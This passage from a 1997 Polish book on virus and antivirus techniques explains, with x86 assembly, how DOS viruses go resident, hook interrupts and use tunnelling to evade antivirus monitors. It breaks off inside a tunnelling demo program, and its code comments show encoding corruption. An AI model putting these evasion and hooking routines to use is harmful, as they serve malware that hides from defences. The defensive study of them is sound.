adres przydzielonego bloku 5.4. Instalacja w pamięci HMA Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres 10FFEF=lMb+64K-16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS, aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system wykorzystuje HMA, zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS). Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci następującej sekwencji: ; Przydzia- fragmentu pamiŕci HMA MOV AX,4A01h ; funkcja - sprawdč iloťŠ wolnej HMA INT 2Fh ; wywo-aj przerwanie multipleksowane BX = iloťŠ wolnej ; pamiŕci HMA w bajtach, ; ES:DI wskazuje na wolny obszar HMA CMP BX, ROZMIAR ; czy jest odpowiednia iloťŠ pamiŕci jb NieMaHMA ; jeťli mniej, to nie przydzielaj MOV AX, 4A02h ; funkcja - przydziel pami੠HMA MOV BX, ROZMIAR ; rozmiar ¬¦danej pamiŕci INT 2Fh ; wywo-aj przerwanie multipleksowane ; BX = iloťŠ przydzielonej pamiŕci HMA w paragrafach ; ES:DI wskazuje na przydzielony obszar HMA NieMaHMA: Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA (ale tylko jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS (najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie: ; Przydziel ca-e pami੠HMA programowi MOV AX,4300h ; funkcja - sprawdč, czy zainstalowany mened¬er XMS INT 2Fh ; wywo-aj przerwanie multipleksowane CMP AL,80h ; czy zainstalowany mened¬er XMS ? JNE NieMaXMS ; skocz, jeťli nie jest zainstalowany MOV AX,4310h ; funkcja - weč adres procedury INT 2Fh ; wywo-aj przerwanie multipleksowane MOV [PROCSEG],ES ; zachowaj adres procedury mened¬era XMS MOV [PROCOFS],BX MOV AH,l ; funkcja XMS - przydziel pami੠HMA MOV DX,ROZMIAR ; podaj iloťŠ ¬¦danej pamiŕci w bajtach CALL [PROCSEG] ; wywo-aj procedurŕ mened¬era XMS CMP AX, l ; jeťli nie ma b-ŕdu, to AX=1 JNE BLAD ; skocz, jeťli AX1 5.5. Nietypowe metody instalacji 5.5.1. Pamięć ekranu Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są dane dla trybów tekstowych ekranu. 5.5.2. Bufory dyskowe DOS Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w obszarach roboczych systemu, jest uznawany za jego część oraz, co istotne, nie zmniejsza długości pamięci dostępnej dla programów użytkownika. Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory 80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu 0000:0000 do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów) w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje więc komórki 0000:0000 -0000:0003, do przerwania 1h komórki 0004:0007 itd. aż do przerwania 0FFh, zajmującego komórki 0000:03FC - 0000:03FF. ROZDZIAŁ 6 6.1. Najczęściej przejmowane i wykorzystywane przerwania Wirusy najczęściej wykorzystują i/lub przejmują następujące przerwania: > 01h - Przerwanie trybu krokowego procesora, wywoływane wewnętrznie, gdy w rejestrze znaczników FLAGS jest ustawiony bit TF. Przerwanie Olh jest używane przez wirusy do poszukiwania w łańcuchu procedur obsługi przerwania jego ostatniego elementu, będącego przeważnie częścią DOS-a lub BIOS-a. W czasie wykonywania wyżej wymienionej operacji możliwe jest także przejęcie obsługi przerwania poprzez włączenie się w istniejący łańcuch obsługi przerwania, dzięki czemu nie trzeba modyfikować tablicy przerwań. Kontrola procedury obsługi tego przerwania pozwala wykryć uruchomiony debugger. > 03h - Pułapka programowa (ang. breakpoint}, ze względu na 1-bajtową instrukcję (kod 0CCh) stosowana przez debuggery; powyższa właściwość powoduje, iż instrukcję tę stosują bardzo krótkie wirusy do wywoływania pierwotnej procedury obsługi przejętego przez nie przerwania. Podobnie jak w przypadku przerwania numer 0lh, kontrolując INT 03h można wykryć włączony debugger. > 08h - Przerwanie sprzętowe IRQ 0 - standardowo zgłaszane 18 razy na sekundę przez układ zegara 8253/8254 (częstotliwość generowania tego przerwania można zmienić programowo). Wewnątrz procedury jego obsługi znajduje się rozkaz wywołania przerwania 1Ch. Najczęściej używane jest ono do realizacji efektów specjalnych, rzadziej do autoweryfikacji wirusa. > 09h - Przerwanie sprzętowe IRQ l, wywoływane po naciśnięciu lub puszczeniu klawisza na klawiaturze. Odczytany z portu 60h klawisz jest dekodowany przez funkcję (4F/15), a następnie umieszczany w buforze klawiatury, skąd dostępny jest później dla funkcji przerwania 16h. Podobnie Jak IRQ O, przerwanie 09h używane jest zwykle do efektów specjalnych i czasem do autoweryfikacji (na przykład kod wirusa jest sprawdzany przy każdym naciśnięciu lub puszczeniu klawisza). > 10h - Przerwanie programowe BIOS obsługujące funkcje ekranu; używane do efektów specjalnych lub w celu informowania innych kopii wirusa o obecności w pamięci. > 12h - Przerwanie programowe BIOS zwracające po wywołaniu wielkość pamięci operacyjnej podaną w kilobajtach. Zwracana wartość jest odczytywana ze zmiennej systemowej BIOS, znajdującej się pod adresem 0000:0413. Przerwanie to wykorzystują głównie wirusy tablicy partycji i BOOT-sektorów, gdy zmniejszają ilość pamięci dostępnej dla systemu DOS. Aby tego dokonać, nie muszą jednak przejmować przerwania, a tylko zmodyfikować wyżej wymienioną zmienną BIOS. Czasem przerwanie 12h przejmowane jest w celu informowania innych kopii wirusa o obecności w systemie. > 13h - Przerwanie programowe BIOS odpowiedzialne za obsługę dysków na poziomie sektorów. Obsługując dyskietki wywołuje przerwanie 40h. Jest ono używane najczęściej podczas infekcji przez wirusy atakujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Jego przejęcie umożliwia zastosowanie techniki stealth dla sektorów, a także informowanie innych kopii wirusa o obecności w systemie. > 14h - Przerwanie programowe BIOS odpowiedzialne za obsługę łączy szeregowych. Przechwytywane (choć rzadko) dla efektów specjalnych, polegających na przekłamywaniu odczytów7 i zapisów złącza. > 15h - Przerwanie programowe BIOS odpowiedzialne za dodatkowe funkcje systemowe. Może być przejmowane dla efektów specjalnych, polegających na zmianie obsługi funkcji 4Fh. Powyższa funkcja jest wywoływana przez przerwanie sprzętowe IRQ l (09h) i odpowiada za dekodowanie klawiszy do postaci widzianej później przez przerwanie programowe int 16h. Godna uwagi jest także funkcja (9000/15), wywoływana przez procedurę obsługi przerwania sprzętowego IRQ 14 (76h), której przejęcie umożliwia zastosowanie techniki hardware-level stealth. > 16h - Przerwanie programowe BIOS odpowiedzialne za obsługę klawiatury. Przejmowane najczęściej dla efektów specjalnych lub w celu informowania innych kopii wirusa o obecności w pamięci. > 17h - Przerwanie programowe BIOS obsługujące drukarki. Przejmowane (choć rzadko) dla efektów specjalnych, polegających np. na fałszowaniu drukowanych znaków. > 1Ch - Przerwanie wywoływane przez przerwanie sprzętowe IRQ 0 (08h), najczęściej przejmowane do celów efektów specjalnych (choć w tym wypadku lepiej przejąć obsługę przerwania IRQ 0). > 21h - Przerwanie programowe DOS odpowiedzialne m.in. za obsługę dysków logicznych na poziomie plików, a także pamięci operacyjnej, czyli newralgicznych części systemu, stąd też jest ono najczęściej przejmowanym przez wirusy przerwaniem. Umożliwia infekcję plików przy ich otwieraniu, zamykaniu, czytaniu, zmianie nazwy, uruchamianiu itd. oraz pozwala na ukrywanie się w systemie. Ze względu na to, iż jest potrzebne wirusom do mnożenia się, nie wykorzystywane przez system numery funkcji często służą innym kopiom wirusa do sprawdzania jego obecności w systemie (nie musi on już przejmować innego przerwania, gdyż wyżej wymieniona operacja wykonywana jest niejako przy okazji). > 24h - Przerwanie programowe DOS obsługujące błędy krytyczne systemu. W wypadku wystąpienia błędu wywołuje ono standardowo tzw. dialog ARIF (skrót od ang. Abort Retry Ignore Fail), pozwalający użytkownikowi zadecydować, jaką podjąć operację. Przerwanie to wirusy przejmują na czas infekcji, aby w razie wystąpienia jakiegoś błędu wirus mógł sam zadecydować, jaką akcję chce podjąć. Nowa obsługa przerwania najczęściej zawiera dwie instrukcje nakazujące systemowi DOS sygnalizować błąd programowi wywołującemu (czyli wirusowi). Wyglądają one następująco: Typowa procedura obs-ugi przerwania int 24h u¬ywana podczas infekcji MOV AL,3 ; sygnalizuj b-¦d programowi (czyli wirusowi) IRET ; powrˇt 2 obs-ugi przerwania > 25h - Przerwanie programowe DOS odpowiedzialne za odczyt sektorów z dysków logicznych, czasem używane do ukrywania się w systemie, ale głównie do łatwego odczytywania BOOT-se-ktorów. > 26h - Przerwanie programowe DOS odpowiedzialne za zapis sektorów na dyskach logicznych. Najczęściej używane jest do infekcji BOOT-sektorów. Zwykle wykorzystuj ą je konie trojańskie do destrukcji. > 27h - Przerwanie programowe DOS. Umożliwia zakończenie programu z pozostawieniem kodu w pamięci. Używają go niektóre, zwłaszcza stare, programy TSR, nowsze korzystają z funkcji (31/21). Wykorzystując działanie tego przerwania lub funkcji (31/21) można napisać prostego wirusa rezydentnego. > 28h - Przerwanie programowe DOS pozwalające na wykonywanie pewnych operacji w tle, co jest wykorzystywane m. in. przez program PRINT. Może być użyteczne do infekowania plików, gdy DOS nie jest zajęty żadnym zadaniem, tak jak robi to np. wirus DOS-IDLE. > 2Fh - Przerwanie multipleksowane systemu. Ze względu na różnorodność wykonywanych funkcji umożliwia m. in. znajdowanie oryginalnej procedury przerwania 13h (13h/2F), informowanie innych kopii wirusa o obecności w systemie oraz infekcję plików przy ich zamykaniu. To ostatnie możliwe jest dzięki zastosowaniu funkcji (1216/1220/2F), operujących na systemowych tablicach SFT (ang. System File Table), w których zawarte są wszystkie parametry wskazywanego przez uchwyt pliku. > 30h/31h - W tablicy przerwań, w miejscu, gdzie powinny być adresy obsługi tych przerwań znajduje się rozkaz dalekiego skoku do DOS w postaci 0EA 00 00 SS SS, gdzie OO OO to ofset, a SS SS to segment (po starcie systemu jest to segment kodu systemu DOS, ale może być podmieniony przez program antywirusowy). Adres wskazywany przez rozkaz skoku może być wykorzystywany do wywoływania funkcji DOS według przestarzałej konwencji CP/M, a także do zlokalizowania w segmencie kodu DOS adresu obsługi przerwania 21h, co umożliwia bezpieczne, omijające większość monitorów antywirusowych, wywoływanie funkcji DOS (metodę tę stosuje m.in. wirus DIR-2). > 40h - Przerwanie programowe BIOS, które obsługuje dyski elastyczne. W większości BIOS-ów adres tego przerwania jest oryginalnym adresem przerwania 13h podczas inicjacji systemu. Podczas startu systemu BIOS przekierowywuje przerwanie 13h na 40h, o ile wykryje dysk twardy. Rzadko przejmowane; umożliwia dostęp do dyskietek z pominięciem przerwania 13h. > 76h - Przerwanie sprzętowe IRQ 14, generowane przez sterownik dysku twardego przy wszelkich operacjach dyskowych. Obsługa przerwania polega na wykonaniu odczytu z portu 1F7h (rejestr stanu IDE) i wywołaniu funkcji (9000/15). Przejęcie jego lub funkcji (9000/15) umożliwia zastosowanie techniki hardware-level stealth do ukrywania się w systemie. Jak widać, jest to znakomita większość wszystkich wykorzystywanych przez programy przerwań. Czasem, w celu zminimalizowania rozmiarów, wirus przejmuje dodatkowo jakieś nie używane przez system przerwanie (najczęściej powyżej numeru 60h), aby przy jego pomocy wywoływać pierwotny program obsługi jakiegoś przejętego przez siebie przerwania. Korzysta z tego, że maszynowy rozkaz wy- wołania przerwania (INT ??) zawiera tylko 2 bajty (o kodach OCDh/??, gdzie ?? to numer przerwania), gdy tymczasem rozkaz wywołania pierwotnego programu obsługi za pomocą rozkazu wywołania procedury zajmowałby od 3 (wywołanie pośredniej, bliskiej procedury) do 6 bajtów (wywołanie dalekiej, bezpośredniej procedury). Przejęcie jakiegoś przerwania programowego może być także wykorzystywane do sprawdzania, czy wirus został już wcześniej zainstalowany w pamięci, co pozwala mu uniknąć powtórnej, niepotrzebnej instalacji. Sekwencja wykrywająca, czy wirus jest już zainstalowany, ma najczęściej postać: MOV AX.HASúO ; najczŕťciej w AX podaje siŕ jak¦ť nie typow¦ funkcjŕ INT xx ; xx - numer przerwania (najczŕťciej 21h) CMP REJ,ODPOWIEDĆ ; czy wirus ju¬ zainstalowany (rej - najczŕťciej AX) JE Ju¬Zainstalowany ; skok, gdy zainstalowany wirus zwrˇci- odpowiedč ........... ; zainstaluj siŕ Ju¬Zainstalowany: ; powrˇŠ do nosiciela Wiedza o najczęściej przejmowanych przerwaniach pozwala często na ręczne przejście przez łańcuch obsługi przerwania przy użyciu de-buggera i sprawdzenie po drodze, czy nie ma gdzieś kodu budzącego podejrzenia, prawdopodobnie należącego do wirusa. Przy takim sprawdzaniu należy pamiętać o kilku niebezpieczeństwach związanych z używaniem debuggera w systemie kontrolowanym przez wirusa. Wirus może kontrolować funkcję (4B01/21), służącą debugge-rom do ładowania programów. Jeżeli jest ona wywoływana, wirus może się deinstalować z pamięci lub podjąć jakieś inne działanie, maskujące lub destrukcyjne. Podobne niebezpieczeństwo grozi ciekawskiemu użytkownikowi ze strony niektórych, najczęściej destrukcyjnych wirusów, kontrolujących stan przerwania INT 01h i INT 03h, a te, jak wiadomo, używane są najczęściej przez programy uruchomieniowe. Zwykle po wykryciu, iż adres procedury obsługi któregoś z tych przerwań nie wskazuje na rozkaz IRET (czyli na pustą procedurę obsługi przerwania), wirus bądź blokuje komputer, bądź brutalnie niszczy dane na dysku twardym. Jeszcze inne niebezpieczeństwo może grozić użytkownikowi ze strony wirusów, które potrafią sprawdzać poprawność swego kodu. Procedura autoweryfikacji może być wywoływana przez każde z niewinnych przerwań programowych, używanych powszechnie w oprogramowaniu (np.: 10h, 16h) lub też może być podczepiona pod któreś z przerwań sprzętowych. W przypadku wykrycia jakichś zmian (np, zły wynik obliczanej na bieżąco sumy korekcyjnej) wirus może natychmiast podjąć niemile dla użytkownika działanie odwetowe. Na koniec warto jeszcze wspomnieć, iż zamiast przerwań niektóre wirusy rezydentne przejmują obsługę sterowników urządzeń blokowych, zajmujących się operacjami na urządzeniach masowych, takich jak dysk twardy czy dyskietka, w sposób analogiczny do programów umieszczanych w plikach SYS. Pozwala im to monitorować odwołania do dysków logicznych, zainstalowanych w systemie na poziomie pośrednim między systemem DOS i BIOS (jest to potrzebne np. przy infekcji polegającej na podmianie pierwszej JAP pliku). Tak przejęte odwołanie do systemu będzie dość trudne do wykrycia poprzez ręczne analizowanie kodu jakiegoś przerwania krok po kroku. 6.2. Wykorzystanie funkcji DOS Najprościej przejąć obsługę przerwania używając dwóch przeznaczonych do tego celu funkcji DOS, tzn. (25/35/21) za pomocą poniższej sekwencji w asemblerze: ; Przejmowanie przerwa˝ za pomoce DOS-a MOV AL, NUMER ; podaj w AL numer przerwania MOV AH, 35h ; w AH numer funkcji, weč adres starej procedury ; obs-ugi przerwania INT 21h ; wywo-aj funkcjŕ DOS po wywo-aniu funkcji MOV [StarySEG],ES ; w ES:BX pobrany adres poprzedniej procedury MOV [StaryOFS],BX ; obs-ugi, ktˇry najczŕťciej zapamiŕtuje siŕ MOV AH, 25h ; w AH numer funkcji, ustaw now¦ procedurŕ obs-ugi ; przerwania MOV AL,NUMER ; w AL numer przerwania MOV DS, SEG Nowa ; DS:DX zawiera adres do nowej procedury MOV DX, OFFSET Nowa ; obs-ugi przerwania INT 21h ; wywo-aj funkcjŕ DOS Powyższy sposób przejmowania przerwań, zalecany przez twórców systemu DOS, ze względu na możliwość monitorowania funkcji (25/35/21) przez program antywirusowy, stosują najczęściej prymitywne wirusy. Bardziej wyrafinowane, używają metod trochę innych, omówionych poniżej. 6.3. Bezpośrednie zmiany w tablicy wektorów przerwań Bezpieczniejszym (ze względu na programy antywirusowe) sposobem na przejęcie przerwania jest bezpośrednia manipulacja w tablicy wektorów przerwań, przy użyciu poniższej sekwencji w asemblerze, wykonującej w przybliżeniu to samo, co sekwencja z poprzedniego punktu: : Przejmowanie przerwa˝ bezpoťrednio w tablicy przerwa˝ MOV BL, NUMER ; w BL numer zmienianego przerwania XOR BH,BH ; BX=BL SHL BX,l ; pomnˇ¬ je przez 4 (2 razy przesu˝ w lewo) SHL BX,l ; jeszcze raz przesu˝ w lewo XOR AX,AX ; zeruj rejestr AX MOV DS,AX ; i z jego pomoc¦ zeruj rejestr segmentu DS ; DS:BX wskazuje na pozycjŕ w tablicy przerwa˝, ; gdzie zapisany jest adres obs-ugi przerwania LDS DX,DS:[BX] ; pobierz segment i offset przerwania (do ; zapamiŕtania) MOV [StarySEG],DS ; zachowaj segment MOV [StaryOFS],DX ; zachowaj offset MOV DS,AX ; ponownie DS=0 CLI ; bezpiecznie zmieniaŠ adres obs-ugi przerwania ; przy wy-¦czonych przerwaniach MOV DS:[BXJ,OFFSET NOWA ; bezpoťrednie wartoťci wskazujŕ ; na adres nowej MOV DS:[BX+2], SEG NOWE ; procedury obs-ugi przerwania STI ; teraz mo¬na ju¬ w-¦czyŠ przerwania Oczywiście, w powyższej sekwencji można pominąć rejestr BX i podać offset w postaci absolutnej (np, jako 21h*4), jednak użycie rejestru umożliwia przejmowanie więcej niż jednego przerwania za pomocą tej samej procedury (należy zmieniać tylko wartość BL). 6.4. Włączanie się do istniejącego łańcucha obsługi przerwania i znajdowanie czystych wejść do systemu (ang. tunnelling) Dowolna modyfikacja w tablicy przerwań jest łatwa do wykrycia przez najprymitywniejszy nawet program antywirusowy, stąd też twórcy wirusów poszukiwali innej metody przejmowania przerwań, dzięki której nie trzeba modyfikować tablicy przerwań. Opracowano szereg metod polegających na włączaniu się do istniejącego łańcucha procedur obsługi przerwania, zwanych ogólnie tunelingiem. Zainstalowany rezydentnie w pamięci wirus musi mieć możliwość wywoływania pierwotnej procedury przejętego przez siebie przerwania (np. podczas infekcji potrzebne są funkcje systemu obsługujące działania na plikach). Wywoływanie aktualnej (tzn. wskazywanej przez tablicę przerwań) procedury obsługującej dane przerwanie lub nawet tej, która została zapamiętana podczas instalacji wirusa w pamięci, grozi szybkim wykryciem przez monitor antywirusowy Najlepiej, gdy wywoływana przez wirusa procedura jest ostatnim elementem w łańcuchu procedur obsługi przerwania, czyli jest to po prostu oryginalna procedura zawarta w BIOS-ie lub DOS-ie. 6.4.1. Korzystanie ze stałych adresów w systemie (przerwania 21h i 2Fh) Ta metoda tunelingu jest możliwa tylko w wersjach DOS powyżej 5.00. Służy ona do przechwytywania obsługi przerwania 21h i ewentualnie 2Fh (przy okazji znajdowany jest oryginalny adres procedury obsługi tego przerwania, ulokowanej w kodzie systemu DOS). Wykorzystuje ona fakt, iż system DOS posiada w swym pierwszym bloku MCB (oznaczonym jako systemowy) standardową sekwencję kodu (taką samą dla obu przerwań 21h i 2Fh), która została przedstawiona poniżej. Sekwencja kodu występująca w DOS od 5.0 wzwyż DOS używa HMA DOS nie używa HMA Adres Kod Znaczenie Kod Znaczenie SEG:OFS 90 90 NOP NOP EB 03 JMP $+3 SEG:OFS+2 E8 xxxx CALL [IP+xxxx] E8 xxxx CALL [IP+xxxx] SEG:OFS+5 2E FF 2E yyyy JMP FAR CS:[yyyy] 2E FF 2E JMP FAR CS:[yyyy] Dla przerwania 21h powyższa sekwencja kodu występuje pod adresem SEG:OFS, gdzie OFS jest równy 109Eh (w wersji DOS od 5.00 do 6,22) lub 0FB2h w wersjach powyżej 6.22 (np. DOS 7.0, występujący z systemem Windows 95). W przypadku przerwania 2Fh OFS jest równy: 10C6h (dla DOS 5.00 - 6.22) i 0FDAh (dla wersji 7.00). Wartość SEG jest wartością zwracaną przez funkcję 52h w rejestrze ES. Na podstawie powyższych danych łatwo odczytać adres pierwotnego adresu procedury int 21h, korzystając z następującej sekwencji: MOV AH,30H ; funkcja - weč wersjŕ systemu INT 21h ; wywo-aj funkcjŕ XCHG AL,AH ; zabieg kosmetyczny - aby pˇčniejsze ; porˇwnanie by-o bardziej przejrzyste MOV BX,109EH ; offset dla wersji 5.00 - 6.22 CMP AX,0500h ; czy wersja JB NIEDZIAúA ; jeťli tak, to tunneling nie dzia-a CMP AX,0622h ; czy wersja wiŕksza od 6.22 ? JB Wer5_6_22 MOV BX,OFB2h ; nowsze wersje DOS - inny offset Wer5_6_22: PUSH BX ; zachowaj offset na stosie MOV AH,52h ; funkcja - podaj adres do LL INT 21h ; wywo-aj funkcjŕ POP BX ; teraz ES:BX wskazuje na sekwencjŕ z tabeli CMP WORD PTR ES:[BX],9090h; czy jedna z sekwencji ? JE JEST ; jest cz໩ sekwencji CMP WORD PTR ES:[BX],03EBh ; czy druga z sekwencji ? JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia-a JEST: CMP BYTE PTR ES:[BX+2],OE8h; czy druga cz໩ sekwencji ? JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia-a CMP WORD PTR ES:[BX+5],0FF2Eh ; czy trzecia cz໩ sekwencji ? JNE NIEDZIAúA ; nie ma sekwencji - tuneling nie dzia-a CMP BYTE PTR ES:[BX+7],02Eh ; czy czwarta cz໩ sekwencji ? JNE NIEDZIAúA ; nie ma sekwencji - tunelling nie dzia-a ; znaleziona pe-na sekwencja MOV BX,WORD PTR ES:[BX+8] LES BX,DWORD PTR ES:[BX] ; ES:BX wskazuje na oryginalny adres int 21h NIEDZIALA: Dla przerwania 2Fh sekwencja będzia wyglądała bardzo podobnie, z jedyną zmianą w programie wartości 0FS z 109Eh na 10C6h i 0FB2h na 0FDAh. 6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing) Do znalezienia oryginalnych wejść do procedur obsługi przerwań można wykorzystać tryb krokowy procesora. Po zainstalowaniu odpowiedniego monitora pod przerwaniem krokowym wykonuje się jakąś testową funkcję, której wynik jest już wcześniej znany (np. przez uprzednie wywołanie tej funkcji bez monitora przerwania krokowego). Na bazie tego możemy stwierdzić (będąc w procedurze obsługi przerwania krokowego), czy znajdujemy się w poszukiwanym, oryginalnym kodzie przerwania, poprzez testowanie zawartości odpowiedniego rejestru lub ich grupy. Dla przerwania int 21h wygodnie śledzić np. funkcję 62h (weź aktualny adres PSP) lub funkcję 30h (weź numer wersji DOS), dla przerwania int 13h taką funkcją może być 08h (weź informację o parametrach dysku). 6.4.3. Tuneling rekursywny (ang. recursive tunneling) Ze względu na możliwość blokowania trybu krokowego procesora do znalezienia oryginalnego adresu przerwania 21h można zastosować tzw. tuneling rekursywny. Polega on na tym, iż w otoczeniu aktualnej procedury obsługi przerwania (wskazywanej przez tablicę przerwań), poszukuje się kodów wywołań dalekich procedur lub skoków, dzięki którym zwykle przekazywane jest sterowanie do kolejnego elementu łańcucha obsługi przerwania. Najczęściej łańcuch taki składa się z następujących sekwencji: Element_l ......... ; pierwszy element -a˝cucha Skok_do_Elementu_2 ......... ; pami੠wykorzystywana przez inne programy Element_2 ......... ; drugi element -a˝cucha Skok_do_Elementu_3 ......... ; pami੠wykorzystywana przez inne programy Element_N ......... ; ostatni element -a˝cucha - poszukiwana cz໩ systemu Powrˇt_Z_Elementu_N ; powrˇt poprzez rozkaz IRET lub ; RETF 2 do elementu poprzedniego lub bezpoťrednio ; do wywo-uj¦cego programu Na przykład działanie procedury szukającej adresu przerwania 21h można sprowadzić do następującej sekwencji: mov ah,52h ; pobierz do ES:BX adres struktury int 21h ; LL (lista list) mov bx,es xor ax,ax ; ustaw adres DS:SI na adres mov ds,ax ; przerwania 21h wskazywanego mov si,21h*4 ; przez tablice przerwa˝ xchg ax,di ; DI=licznik sprawdzanych bajtow=0 Adres 32: Ids si,ds:[si] ; pobierz adres or bx,bx ; czy koniec szukania ? jz WSegmencieDOS ; TAK - powrˇt DS:SI-adres mov ax,ds ; \ czy jest to segment DOS ? cmp ax, bx ; / jne NastepnyBajt ; TAK - znaleziony adres xor bx,bx ; BX=0 oznacza koniec szukania NastepnyBajt: lodsw ; weč 2 bajty bŕd¦ce czŕťci¦ aktualnej procedury dec si ; sprawdzamy co bajt cmp al,9Ah ; czy jest to CALL FAR PTR ? je Adres32 ; TAK - weč kolejny adres cmp al,0EAh ; czy jest to JMP FAR PTR ? je Adres32 ; TAK - weč kolejny adres cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ? jne NieJMP_DWORD cmp byte ptr [si+l],al ; czy dalsz¦ cz໩ rozkazu JMP FAR CS:DWORD ? jne NieJMP_DWORD mov si,ds:[si+2] ; pobierz offset do danych dla skoku jmp short Adres32 ; TAK - weč kolejny adres NieJMP_DWORD: inc DI ; licznik sprawdzanych bajtˇw and DI,4095 ; je¬eli sprawdzono ju¬ 4095 bajtˇw, je Recursive21_Exit ; to ko˝cz, bo tuneling nie dzia-a jmp NastepnyBajt ; weč kolejny bajt WSegmencieDOS: ............ ; adres zosta- znaleziony (jest w DS:SI) RecursNieDzia-a: ............ ; adres nie zosta- znaleziony 6.4.4. Trik2F/13 Do znalezienia oryginalnego programu obsługi przerwania 13h (obsługa fizycznych dysków) w ROM-BIOS można zastosować funkcję (13/2F), która służy do ustawiania nowej procedury obsługi dysków. Po jej wywołaniu dodatkowo zwracana jest informacja o obecnej i pierwotnej (oryginalnej) procedurze obsługi tego przerwania [dokładniej: zwracane są wartości parametrów z poprzedniego wywołania funkcji (13/2F)]. Funkcję tę wykorzystuje IO.SYS przy starcie sy stemu, aby przejąć kontrolę nad różnymi błędami pojawiającymi się przy dostępie do dysków. To, że potrzebuje ona parametrów wejściowych, można pominąć, gdyż jej dwukrotne wywołanie przywraca oryginalne ustawienia systemu. Poniższa sekwencja pokazuje, jak za pomocą opisanej funkcji znaleźć oryginalny (o ile nie jest on kontrolowany przez program antywirusowy) adres int 13h w ROM-BIOS-ie: ; Trik 2F/13 MOV AH,13h ; funkcja - ustaw obs-ugŕ dyskˇw DS:DX adres ; procedury obs-ugi (mo¬na pomin¦Š gdy¬ za ; chwilŕ i tak zostanie przywrˇcona w-aťciwa ; procedura obs-ugi). ES:BX adres procedury, ktˇra system ; bŕdzie ustawia- jako procedurŕ obs-ugi przerwania nr 13h ; przy ewentualnym zawieszeniu systemu lub po wywo-aniu ; int 19h (tak¬e mo¬na pomin¦Š) INT 2Fh ; wywo-aj funkcjŕ 13h ; po wywo-aniu ES:BX zwraca adres procedury, ktˇra system ; ustawi jako int 13h w wy¬ej wymienionych wypadkach, czyli ; zwykle bŕdzie to oryginalna procedura obs-ugi przerwania 13h MOV SEG_13,ES ; trzeba zapamiŕtaŠ adres oryginalnej procedury obs-ugi MOV OFS_13,BX ; intl3h, znajduj¦cej siŕ w ES:BX MOV AH,13h ; funkcja - ustaw obs-ugŕ dyskˇw DS:DX i ES:BX to wartoťci ; z poprzedniego wywo-ania funkcji (13/2F) INT 2Fh ; wywo-aj funkcjŕ 13h Poniższy program znajduje (o ile to możliwe) wejścia do przerwań 21h, 13h, 2Fh, z wykorzystaniem różnych technik tunelingowych- ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; TUNEL v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Program demonstruje uzycie kilku odmian tunelingu ; ; do znalezienia oryginalnych adresow przerwan ; ; - 13h (trik 2F/13, tryb krokowy) ; ; - 21h (tablica stalych adresow, tryb krokowy, tuneling rekursywny) ; ; - 2Fh (tablica stalych adresow) ; ; ; ; Kompilacja : ; ; TASM TUNEL.ASM ; ; TLINK /t TUNEL.OBJ ; ; ; ;----------------------------------------------------------------------------; ; NUL = 00h ; \ LF = 0Ah ; - stale potrzebne do deklaracji CR = 0Dh ; / lancuchow napisowych ON = 001h ; \ stale potrzebne do obslugi OFF = 002h ; / przerwania 1 PROG segment ; segment kodu i danych ORG 100h ; program jest typu COM Assume CS:PROG, DS:PROG, ES:PROG, SS:PROG CodeStart: ; tu zaczyna sie program lea si,TeCopyRight ; \ pokaz info o programie Call Print ; / Call GetOriginal13 ; pokaz oryginalny adres 13h Call GetOriginal21 ; pokaz oryginalny adres 21h Call GetOriginal2F ; pokaz oryginalny adres 21h mov ax, 4C00h ; \ koncz program i powroc do DOSa int 21h ; / GetOriginal13 proc near ; procedura pobiera oryginalny adres ; Int 13h (na dwa sposoby) i wyswietla ; go push si ; zachowaj zmieniany rejestr lea si,TeGet13 ; \ pokaz info o przerwaniu 13h Call Print ; / Call Trik2F13 ; wez adres 13h ; metoda Trik 2F/13 Call ShowAddr ; pokaz adres 13h Call Tracing13 ; wez adres 13h ; metoda tracingu Call ShowAddr ; pokaz adres 13h pop si ; przywroc zmieniany rejestr ret ; powrot z procedury GetOriginal13 endp Trik2F13 proc near ; procedura pobiera oryginalny adres ; Int 13h wykorzystujac funkcje 13h ; przerwania 2Fh ; (wewnetrzna funkcja DOS) push ds ; \ push es ; \ push ax ; \ zachowaj zmieniane rejestry push bx ; / push dx ; / push si ; / lea si,TeTrik2F13 ; \ pokaz info o metodzie Call Print ; / Trik 2F/13h xor ax,ax ; \ zeruj zmienne pomocnicze mov ShowSeg,ax ; / mov ShowOfs,ax ; / mov ah,13h ; \ int 2Fh ; \ ; \ mov 